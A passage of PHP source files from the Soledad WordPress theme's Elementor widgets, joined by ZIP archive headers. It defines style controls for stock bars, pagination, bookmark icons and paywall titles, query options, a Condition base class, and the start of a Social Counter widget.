			'label'     => esc_html__( 'Stock Progress Style', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'stock_progress_bar' => '1' ],
		] );

		$this->add_control( 'products_design_stock_progress_bg_color', array(
			'label'     => __( 'Stock Bar Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-stock-progress-bar .progress-area' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'products_design_stock_progress_bg_active_color', array(
			'label'     => __( 'Stock Bar Background Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-stock-progress-bar .progress-bar' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'products_design_stock_progress_height', array(
			'label'     => __( 'Stock Bar Height', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-stock-progress-bar .progress-area, {{WRAPPER}} .penci-stock-progress-bar .progress-bar' => 'height: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		/**
		 * Pagination Style
		 */

		$this->start_controls_section( 'products_design_style_pagination', [
			'label' => esc_html__( 'Pagination Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'pagination_color', array(
			'label'     => __( 'Pagination Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_bcolor', array(
			'label'     => __( 'Pagination Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li a'                                                                      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span, {{WRAPPER}} .penci-related-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-woo-page-container .page-load-button .button'                                                     => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_bgcolor', array(
			'label'     => __( 'Pagination Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} nav.woocommerce-pagination ul li a'                                                                      => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span, {{WRAPPER}} .penci-related-carousel .penci-owl-dot span' => 'background-color: {{VALUE}};'
			),
		) );

		$this->add_control( 'pagination_hcolor', array(
			'label'     => __( 'Pagination Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_hbcolor', array(
			'label'     => __( 'Pagination Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li a:hover'                                                                            => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span:hover, {{WRAPPER}} .penci-related-carousel .penci-owl-dot span:hover' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-woo-page-container .page-load-button .button:hover'                                                           => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_cicolor', array(
			'label'     => __( 'Pagination Current Item Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} nav.woocommerce-pagination ul li span.current'                                                                                                => 'color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span, body:not(.pcdm-enable) {{WRAPPER}} .penci-related-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_bicolor', array(
			'label'     => __( 'Pagination Current Item Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li span.current'                                                                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span, {{WRAPPER}} .penci-related-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_bgicolor', array(
			'label'     => __( 'Pagination Current Item Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} nav.woocommerce-pagination ul li span.current'                                                                         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span, {{WRAPPER}} .penci-related-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_more_bgcolor', array(
			'label'     => __( 'Pagination View More Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-woo-page-container .page-load-button .button' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_more_bghcolor', array(
			'label'     => __( 'Pagination View More Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-woo-page-container .page-load-button .button:hover' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_more_textcolor', array(
			'label'     => __( 'Pagination View More Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .page-load-button button.button'                     => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-woo-page-container .page-load-button .button' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_more_texthcolor', array(
			'label'     => __( 'Pagination View More Hover Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .page-load-button button.button:hover'                     => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-woo-page-container .page-load-button .button:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();
	}

	protected function register_custom_post_metas_groups() {
		$this->add_control( 'cspost_meta_heading', array(
			'label'     => __( 'Show Custom Post Metas', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'cspost_enable', array(
			'label' => __( 'Showing Custom Post Metas?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );
		$this->add_control( 'cspost_cpost_meta', array(
			'label'     => __( 'Custom Post Meta Keys', 'soledad' ),
			'type'      => Controls_Manager::TEXT,
			'condition' => [ 'cspost_enable' => 'yes' ]
		) );
		$this->add_control( 'cspost_cpost_acf_meta', array(
			'label'       => __( 'Custom Post ACF Meta Keys', 'soledad' ),
			'type'        => Controls_Manager::SELECT2,
			'description' => __( 'You can show your own custom fields easily by using the <a href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.', 'soledad' ),
			'multiple'    => true,
			'options'     => penci_get_afc_fields(),
			'condition'   => [ 'cspost_enable' => 'yes' ]
		) );
		$this->add_control( 'cspost_cpost_meta_label', array(
			'label'     => __( 'Showing Custom Post Meta Label', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => [ 'cspost_enable' => 'yes' ]
		) );
		$this->add_control( 'cspost_cpost_meta_divider', array(
			'label'       => __( 'Custom Divider Between Meta Label & Meta Value', 'soledad' ),
			'label_block' => true,
			'type'        => Controls_Manager::TEXT,
			'value'       => ':',
			'condition'   => [ 'cspost_cpost_meta_label' => 'yes' ]
		) );
	}

	protected function register_query_section_controls( $showmeta = false, $condition = [] ) {

		$section_args = array(
			'label' => __( 'Query', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT
		);

		if ( !empty( $condition ) ) {
			$section_args['condition'] = $condition;
		}

		$this->start_controls_section( 'section_query', $section_args );

		$this->add_group_control( Penci_Group_Control_Posts::get_type(), array(
			'name' => 'posts'
		) );

		$this->add_control( 'posts_per_page', array(
			'label'     => __( 'Posts Per Page', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => 6,
			'condition' => array( 'posts_post_type!' => array( 'by_id' ) ),
		) );

		$this->add_control( 'arposts_new', array(
			'label'       => __( 'Always Show Newest Posts', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'description' => 'This option will be avoid page navigation',
			'condition'   => array( 'posts_post_type' => array( 'current_query' ) ),
		) );

		$this->add_control( 'orderby', array(
			'label'     => __( 'Order By', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'date',
			'options'   => array(
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __( 'Post ID', 'soledad' ),
				'modified'      => __( 'Modified Date', 'soledad' ),
				'title'         => __( 'Post Title', 'soledad' ),
				'rand'          => __( 'Random Posts', 'soledad' ),
				'comment_count' => __( 'Comment Count', 'soledad' ),
				'most_liked'    => __( 'Most Liked', 'soledad' ),
				'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
				'popular_day'   => __( 'Most Viewed Posts Daily', 'soledad' ),
				'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
				'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
				'metakey' 		=> __( 'Custom Meta Key', 'soledad' ),
			),
			'condition' => array( 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'orderby_meta_key', array(
			'label'       => __( 'Custom Meta Key', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => '',
			'description' => __( 'Enter the custom meta key to order by.', 'soledad' ),
			'condition'   => array( 'orderby' => 'metakey', 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'order', array(
			'label'     => __( 'Order', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'desc',
			'options'   => array(
				'asc'  => __( 'ASC', 'soledad' ),
				'desc' => __( 'DESC', 'soledad' )
			),
			'condition' => array( 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'offset', array(
			'label'       => __( 'Offset', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 0,
			'condition'   => array( 'posts_post_type!' => array( 'by_id' ) ),
			'description' => __( 'Use this setting to skip over posts (e.g. \'2\' to skip over 2 posts).', 'soledad' ),
		) );

		$this->add_control( 'avoid_duplicates', [
			'label'       => esc_html__( 'Avoid Duplicates', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'default'     => '',
			'description' => esc_html__( 'Set to Yes to avoid duplicate posts from showing up. This only effects the frontend.', 'soledad' ),
			'condition'   => [
				'posts_post_type!' => [
					'by_id',
					'current_query',
				],
			],
		] );

		Module::add_exclude_controls( $this );

		if ( $showmeta ) {
			$this->register_custom_post_metas_groups();
		}

		$this->add_control( 'query_id', array(
			'label' => __( 'Query ID', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );

		$this->end_controls_section();
	}

	protected function register_penci_bookmark_style_groups() {
		if ( ! defined( 'PENCI_BL_VERSION' ) ) {
			return;
		}
		$this->start_controls_section( 'penci_bf_heading_01', [
			'label' => esc_html__( 'Bookmark Icon', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );
		$this->add_control( 'hide_bookmark_icon', [
			'label'     => esc_html__( 'Hide Bookmark Icon', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper' => 'display: none !important;',
			),
		] );
		$this->add_responsive_control( 'penci_bf_icon_sizes', array(
			'label'      => __( 'Icon Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'condition'  => array( 'hide_bookmark_icon!' => 'yes' ),
			'size_units' => array( 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before'         => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
				'{{WRAPPER}} .penci-bf-follow-post-wrapper.loading .pencibf-following-text:before' => 'width: {{SIZE}}px;height: {{SIZE}}px;',
			),
		) );
		$this->add_responsive_control( 'penci_bf_icon_fsizes', array(
			'label'      => __( 'Icon Font Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'condition'  => array( 'hide_bookmark_icon!' => 'yes' ),
			'size_units' => array( 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before' => 'font-size: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'penci_bf_icon_ssizes', array(
			'label'      => __( 'Icon Small Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'condition'  => array( 'hide_bookmark_icon!' => 'yes' ),
			'size_units' => array( 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper.pcbf-size-small .pencibf-following-text:before'         => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
				'{{WRAPPER}} .penci-bf-follow-post-wrapper.pcbf-size-small.loading .pencibf-following-text:before' => 'width: {{SIZE}}px;height: {{SIZE}}px;',
			),
		) );
		$this->add_responsive_control( 'penci_bf_icon_sfsizes', array(
			'label'      => __( 'Icon Small Font Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'condition'  => array( 'hide_bookmark_icon!' => 'yes' ),
			'size_units' => array( 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper.pcbf-size-small .pencibf-following-text:before' => 'font-size: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'penci_bf_icon_border_color', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:before' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_icon_color', array(
			'label'     => __( 'Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:before' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_bg_color', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:before' => 'background-color: {{VALUE}};',
			),
		) );
		// hover
		$this->add_control( 'penci_bf_icon_border_hvcolor', array(
			'label'     => __( 'Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:hover:before' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_icon_hvcolor', array(
			'label'     => __( 'Icon Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:hover:before' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_bg_hvcolor', array(
			'label'     => __( 'Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:hover:before' => 'background-color: {{VALUE}};',
			),
		) );
		//selected
		$this->add_control( 'penci_bf_icon_border_svcolor', array(
			'label'     => __( 'Bookmarked Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .penci-bf-following-button .pencibf-following-text:before' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_icon_svcolor', array(
			'label'     => __( 'Bookmarked Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .penci-bf-following-button .pencibf-following-text:before' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_bg_svcolor', array(
			'label'     => __( 'Bookmarked Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .penci-bf-following-button .pencibf-following-text:before' => 'background-color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();
	}

	protected function register_paywall_premium_heading_style_groups() {

		if ( ! defined( 'PENCI_PAYWALL' ) ) {
			return false;
		}

		$this->start_controls_section( 'paywall_heading_01', [
			'label' => esc_html__( 'Paywall Premium Post Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );
		$this->add_control( 'paywall_heading_text_style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => get_theme_mod( 'pencipw_premium_heading_style', 'text' ),
			'options' => array(
				'text' => __( 'Text', 'soledad' ),
				'btn'  => __( 'Button', 'soledad' )
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'paywall_heading_text_typo',
			'label'    => __( 'Heading Prefix Text Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-premium-post'
		) );
		$this->add_control( 'paywall_heading_text', array(
			'label'     => __( 'Heading Prefix Text', 'soledad' ),
			'type'      => Controls_Manager::TEXT,
			'default'   => 'Premium: ',
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post:before' => 'content: "{{VALUE}}";',
			),
		) );
		$this->add_control( 'paywall_heading_text_cl', array(
			'label'     => __( 'Heading Prefix Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'paywall_heading_text_bgcl', array(
			'label'     => __( 'Heading Prefix Text Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post.btn' => 'background-color: {{VALUE}};',
			),
			'condition' => array( 'paywall_heading_text_style' => array( 'btn' ) ),
		) );
		$this->add_control( 'paywall_heading_text_pd', array(
			'label'     => __( 'Heading Prefix Text Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
		) );
		$this->add_control( 'paywall_heading_text_mg', array(
			'label'     => __( 'Heading Prefix Text Margin', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
		) );
		$this->end_controls_section();
	}
}
PK     N\	  	     inc/elementor/base/condition.phpnu [        <?php

namespace PenciSoledadElementor\Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Condition {

	/**
	 * @var Module_Base
	 */
	protected static $_instances = [];

	protected $element_id;

	/**
	 * @return string of the current module class name
	 * @since 5.3.0
	 */
	public static function class_name() {
		return get_called_class();
	}

	/**
	 * @return static
	 */
	public static function instance() {
		if ( empty( static::$_instances[ static::class_name() ] ) ) {
			static::$_instances[ static::class_name() ] = new static();
		}

		return static::$_instances[ static::class_name() ];
	}

	/**
	 * Defaults to true
	 * @return bool if current condition is supported
	 * @since  5.3.0
	 */
	public static function is_supported() {
		return true;
	}

	/**
	 * Get the name of condition
	 * @return string as per our condition control name
	 * @since  5.3.0
	 */
	public function get_name() {
	}

	/**
	 * Get the title of condition
	 * @return string as per condition control title
	 * @since  5.3.0
	 */
	public function get_title() {
	}

	/**
	 * Get the control name
	 * @return string as per condition control name
	 * @since  5.3.0
	 */
	public function get_name_control() {
		return false;
	}

	/**
	 * Get the control value
	 * @return string as per condition control value
	 * @since  5.3.0
	 */
	public function get_value_control() {
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 *
	 * @since 5.3.0
	 */
	public function check( $relation, $val ) {
	}

	/**
	 * Compare conditions.
	 * Calls compare method
	 *
	 * @param mixed $left_val First value to compare.
	 * @param mixed $right_val Second value to compare.
	 * @param string $relation Comparison operator.
	 *
	 * @return bool
	 * @since 5.3.0
	 *
	 */
	public function compare( $left_val, $right_val, $relation ) {
		switch ( $relation ) {
			case 'is':
				return $left_val == $right_val;
			case 'not':
				return $left_val != $right_val;
			default:
				return $left_val === $right_val;
		}
	}

	/**
	 * Set Condition Element ID
	 * Set the element ID for this condition
	 * @return string
	 * @since  5.3.0
	 */
	public function set_element_id( $id ) {
		$this->element_id = $id;
	}

	/**
	 * Get Condition Element ID
	 * Returns the previously set element id
	 * @return string
	 * @since  5.3.0
	 */
	protected function get_element_id() {
		return $this->element_id;
	}
}
PK     N\]}%  %  5  inc/elementor/modules/penci-social-counter/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSocialCounter;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-social-counter';
	}

	public function get_widgets() {
		return array( 'PenciSocialCounter' );
	}
}
PK     N\lGZ  Z  K  inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSocialCounter\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSocialCounter extends Base_Widget {

	public function get_name() {
		return 'penci-social-counter';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Social Counter', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-share';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'social counter' );
	}


	protected function register_controls() {


		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'source', array(
			'label'   => __( 'Select Data Source', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'counter',
			'options' => array(
				'counter'    => esc_html__( 'Social Counter', 'soledad' ),
				'customizer' => esc_html__( 'Social Customizer (no counter)', 'soledad' ),
			)
		) );

		$this->add_control( 'app_id', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => '<span style="color: red;font-weight: bold;">Note</span>: You need to setup data for socials sharing via <strong>Dashboard > Soledad > Social Counter</strong> to get the counter number work.',
			'content_classes' => 'elementor-descriptor',
			'condition'       => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'app_id_2', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => '<span style="color: red;font-weight: bold;">Note</span>: You need to fill out social media URL <strong>Apperance > Customize > Social Media</strong>.',
			'content_classes' => 'elementor-descriptor',
			'condition'       => [ 'source' => 'customizer' ]
		) );

		$this->add_control( 'hide_count', array(
			'label'     => __( 'Hide Counter Data & Show Social Name?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'social_style', array(
			'label'   => __( 'Select Pre-Build Design', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 's1',
			'options' => array(
				's1' => esc_html__( 'Style 1', 'soledad' ),
				's2' => esc_html__( 'Style 2', 'soledad' ),
				's3' => esc_html__( 'Style 3', 'soledad' ),
				's4' => esc_html__( 'Style 4', 'soledad' ),
			)
		) );

		$this->add_control( 'fill', array(
			'label'   => __( 'Filled or Bordered Style?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'border',
			'options' => array(
				'fill'   => esc_html__( 'Filled', 'soledad' ),
				'border' => esc_html__( 'Bordered', 'soledad' ),
			)
		) );

		$this->add_control( 'shape', array(
			'label'   => __( 'Shape', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'rectangle',
			'options' => array(
				'rectangle' => esc_html__( 'Rectangle', 'soledad' ),
				'round'     => esc_html__( 'Round', 'soledad' ),
				'circle'    => esc_html__( 'Circle', 'soledad' ),
			)
		) );

		$this->add_control( 'column', array(
			'label'     => __( 'Select Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
			),
			'condition' => array( 'social_style!' => array( 's4' ) ),
		) );

		$this->add_control( 'tab_column', array(
			'label'     => __( 'Select Columns for Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
			),
			'condition' => array( 'social_style!' => array( 's4' ) ),
		) );

		$this->add_control( 'mobile_column', array(
			'label'     => __( 'Select Columns for Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
			),
			'condition' => array( 'social_style!' => array( 's4' ) ),
		) );

		$this->add_control( 'color_style', array(
			'label'   => __( 'Colors Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'custom',
			'options' => array(
				'custom'    => esc_html__( 'Custom Color', 'soledad' ),
				'brandbg'   => esc_html__( 'Brands Background Color', 'soledad' ),
				'brandtext' => esc_html__( 'Brands Icons Color', 'soledad' ),
			),
		) );

		$this->add_responsive_control( 'hospace', array(
			'label'     => __( 'Horizontal Spacing Between Social Icons', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-wrapper' => '--pcsoc-space: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'verspace', array(
			'label'     => __( 'Vertical Spacing Between Social Icons', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-wrapper' => '--pcsoc-bspace: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'customizer_s3_style', array(
			'label'      => __( 'Custom Height for Social Icon', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'source',
						'value' => 'customizer',
					),
					array(
						'name'  => 'social_style',
						'value' => 's3',
					)
				)
			),
			'selectors'  => array(
				'{{WRAPPER}} .pcsoc-wrapper.pcsocs-s3 .pcsoc-item' => 'padding-top: {{SIZE}}px;padding-bottom: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_showhide', array(
			'label'     => esc_html__( 'Show/Hide Social Icons', 'soledad' ),
			'tab'       => Controls_Manager::TAB_CONTENT,
			'condition' => [ 'source' => 'counter' ]
		) );

		$pmetas = array(
			'facebook'   => array( 'label' => __( 'Facebook', 'soledad' ), 'default' => 'yes' ),
			'twitter'    => array( 'label' => __( 'Twitter', 'soledad' ), 'default' => 'yes' ),
			'youtube'    => array( 'label' => __( 'Youtube', 'soledad' ), 'default' => 'yes' ),
			'instagram'  => array( 'label' => __( 'Instagram', 'soledad' ), 'default' => '' ),
